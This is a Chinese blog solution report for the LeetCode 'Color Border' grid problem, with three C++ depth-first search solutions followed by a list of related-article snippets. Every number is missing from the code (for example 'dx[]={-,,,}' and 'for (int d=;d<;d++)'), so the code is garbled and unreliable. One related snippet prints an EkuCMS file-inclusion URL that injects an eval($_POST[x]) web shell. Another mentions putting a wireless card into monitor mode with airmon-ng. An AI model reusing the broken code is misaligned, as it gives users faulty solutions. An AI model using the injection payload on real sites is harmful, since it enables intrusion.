【leetcode 5040. 边框着色】解题报告

方法一:dfs的非递归形式
using ll=long long;
const ll MAXN=50LL;
unordered_set<ll> vis,mark;
vector<vector<int>> colorBorder(vector<vector<int>>& G, int r0, int c0, int color) {
queue<ll> Q;
Q.push(r0*MAXN+c0);
int c=G[r0][c0];
int dx[]={-,,,},dy[]={,,-,};
while (!Q.empty())
{
int x=Q.front()/MAXN;
int y=Q.front()%MAXN;
Q.pop();
vis.insert(x*MAXN+y);
if (x==||x==G.size()-||y==||y==G[].size()-) // 边界方块可变色
mark.insert(x*MAXN+y);
else if (G[x-][y]!=c||G[x+][y]!=c||G[x][y-]!=c||G[x][y+]!=c) // 四个方向中,任意一个方块颜色不同,则可变色
mark.insert(x*MAXN+y);
for (int d=;d<;d++) // 放入连通分量的所有方块
{
int nx=x+dx[d],ny=y+dy[d];
if (<=nx&&nx<G.size()&&<=ny&&ny<G[].size()&&!vis.count(nx*MAXN+ny)&&G[nx][ny]==c)
Q.push(nx*MAXN+ny);
}
}
for (auto it:mark)
G[it/MAXN][it%MAXN]=color;
return G;
}
思路:用vis记录访问过的方块,mark标记连通分量中需要修改颜色的方块,并非连通分量中所有的方块都要修改颜色,比如:一个方块如果四周(四个方向邻接的)都是相同颜色,那么只需要修改四周方块的颜色,而自己颜色不变(开始的时候没理解题意,以为只要是连通分量内的方块颜色都需要改变)
方法二: dfs递归形式,只不过把上面的非递归改为递归了
using ll=long long;
const ll MAXN=50LL;
unordered_set<ll> vis,mark;
void dfs(vector<vector<int>>& G, int x, int y, int c)
{
int dx[]={-,,,},dy[]={,,-,};
vis.insert(x*MAXN+y);
if (x==||x==G.size()-||y==||y==G[].size()-) // 边界方块可变色
mark.insert(x*MAXN+y);
else if (G[x-][y]!=c||G[x+][y]!=c||G[x][y-]!=c||G[x][y+]!=c) // 四个方向中,任意一个方块颜色不同,则可变色
mark.insert(x*MAXN+y);
for (int d=;d<;d++) // 放入连通分量的所有方块
{
int nx=x+dx[d],ny=y+dy[d];
if (<=nx&&nx<G.size()&&<=ny&&ny<G[].size()&&!vis.count(nx*MAXN+ny)&&G[nx][ny]==c)
dfs(G,nx,ny,c);
}
}
vector<vector<int>> colorBorder(vector<vector<int>>& G, int r0, int c0, int color) {
dfs(G,r0,c0,G[r0][c0]);
for (auto it:mark)
G[it/MAXN][it%MAXN]=color;
return G;
}
方法三:dfs递归,但通过修改G中的数据,来记录是否访问过,和是否需要修改颜色,国外的一个大佬写的
From an initial point, perform DFS and flip the cell color to negative to track visited cells.
After DFS is complete for the cell, check if this cell is inside. If so, flip its color back to the positive.
In the end, cells with the negative color are on the border. Change their color to the target color.
void dfs(vector<vector<int>>& g, int r, int c, int cl) {
if (r < || c < || r >= g.size() || c >= g[r].size() || g[r][c] != cl) return; // 剪枝(越界,非着色块)
g[r][c] = -cl; // 着色
dfs(g, r - , c, cl), dfs(g, r + , c, cl), dfs(g, r, c - , cl), dfs(g, r, c + , cl);
if (r > && r < g.size() - && c > && c < g[r].size() - && cl == abs(g[r - ][c]) &&
cl == abs(g[r + ][c]) && cl == abs(g[r][c - ]) && cl == abs(g[r][c + ])) // 将原四周同色的块,颜色还原
g[r][c] = cl;
}
vector<vector<int>> colorBorder(vector<vector<int>>& grid, int r0, int c0, int color) {
dfs(grid, r0, c0, grid[r0][c0]);
for (auto i = ; i < grid.size(); ++i) // 根据dfs标记(负数)过的方块进行着色
for (auto j = ; j < grid[i].size(); ++j) grid[i][j] = grid[i][j] < ? color : grid[i][j];
return grid;
}
结论: 无论是递归还是非递归,先标记(标记vis),再遍历
【leetcode 5040. 边框着色】解题报告的更多相关文章
- LeetCode 1 Two Sum 解题报告
LeetCode 1 Two Sum 解题报告 偶然间听见leetcode这个平台,这里面题量也不是很多200多题,打算平时有空在研究生期间就刷完,跟跟多的练习算法的人进行交流思想,一定的ACM算法积 ...
- 【LeetCode】Permutations II 解题报告
[题目] Given a collection of numbers that might contain duplicates, return all possible unique permuta ...
- 【LeetCode】Island Perimeter 解题报告
[LeetCode]Island Perimeter 解题报告 [LeetCode] https://leetcode.com/problems/island-perimeter/ Total Acc ...
- 【LeetCode】01 Matrix 解题报告
[LeetCode]01 Matrix 解题报告 标签(空格分隔): LeetCode 题目地址:https://leetcode.com/problems/01-matrix/#/descripti ...
- 【LeetCode】Largest Number 解题报告
[LeetCode]Largest Number 解题报告 标签(空格分隔): LeetCode 题目地址:https://leetcode.com/problems/largest-number/# ...
- 【LeetCode】Gas Station 解题报告
[LeetCode]Gas Station 解题报告 标签(空格分隔): LeetCode 题目地址:https://leetcode.com/problems/gas-station/#/descr ...
- 【LeetCode】120. Triangle 解题报告(Python)
[LeetCode]120. Triangle 解题报告(Python) 作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 题目地址htt ...
- LeetCode: Unique Paths II 解题报告
Unique Paths II Total Accepted: 31019 Total Submissions: 110866My Submissions Question Solution Fol ...
- Leetcode 115 Distinct Subsequences 解题报告
Distinct Subsequences Total Accepted: 38466 Total Submissions: 143567My Submissions Question Solutio ...
随机推荐
- 前端自动化工具 -- gulp https://angularjs.org/
gulp是基于流的前端自动化构建工具. gulp是基于stream流的形式,也就是前一个函数(工厂)制造出结果,提供后者使用. 同样的,也是包括基本用法和各插件的使用. 二.基本用法--插件使用 gu ...
- 严谨的程序案例Api
文档 功能 同步推荐关系 接口方法 syncRelation 参数描述 OriginalUsername 查询的用户用户名 RecommandUsername 推荐人用户名 返回值 status 1成 ...
- apk、图片下载工具(1)
package com.js.ai.modules.pointwall.util; import java.io.BufferedInputStream; import java.io.Buffere ...
- oracle查看表空间和物理文件大小
查看各表空间的使用情况 select a.tablespace_name,a.bytes/1024/1024 "Sum MB",(a.bytes-b.bytes)/1024/102 ...
- 易酷cms本地包含漏洞拿shell
测试版本:易酷cms2.5 包含一句话:http://localhost/ekucms2.5/?s=my/show/id/{~eval($_POST[x])} 会在网站的/temp/Logs/目录下生 ...
- 使用airmon-ng工具开启监听模式
使用ifconfig命令查看活动的网络接口 可以看出网卡已经激活了,然后将网卡设置为混杂模式 root@sch01ar:~# airmon-ng start wlan0 用ifconfig查看网卡是否 ...
- springboot成神之——mybatis在spring-boot中使用的几种方式
本文介绍mybatis在spring-boot中使用的几种方式 项目结构 依赖 WebConfig DemoApplication 方式一--@Select User DemoApplication ...
- Android 4.4 外置卡
虾米.酷狗.百度地图.UC浏览器 下载 可以设置下载路径保存到外置SD卡上. 其他的软件目前还不支持. 最终Android 4.2是可以选择的,后来Android禁用了外置卡,以上软件是如何实现的?
- Mesh Filter & Mesh Render
[Mesh Filter] The Mesh Filter takes a mesh from your assets and passes it to the Mesh Renderer for r ...
- c++ 门面模式(Facade)
门面模式是比较常用的一种设计模式,我们可能在无意中就会使用,门面模式就是用一个门面类来处理子系统的复杂关系,门面类简单的Api接口供客户端调用.用一个简单的演播室来表示. #include <i ...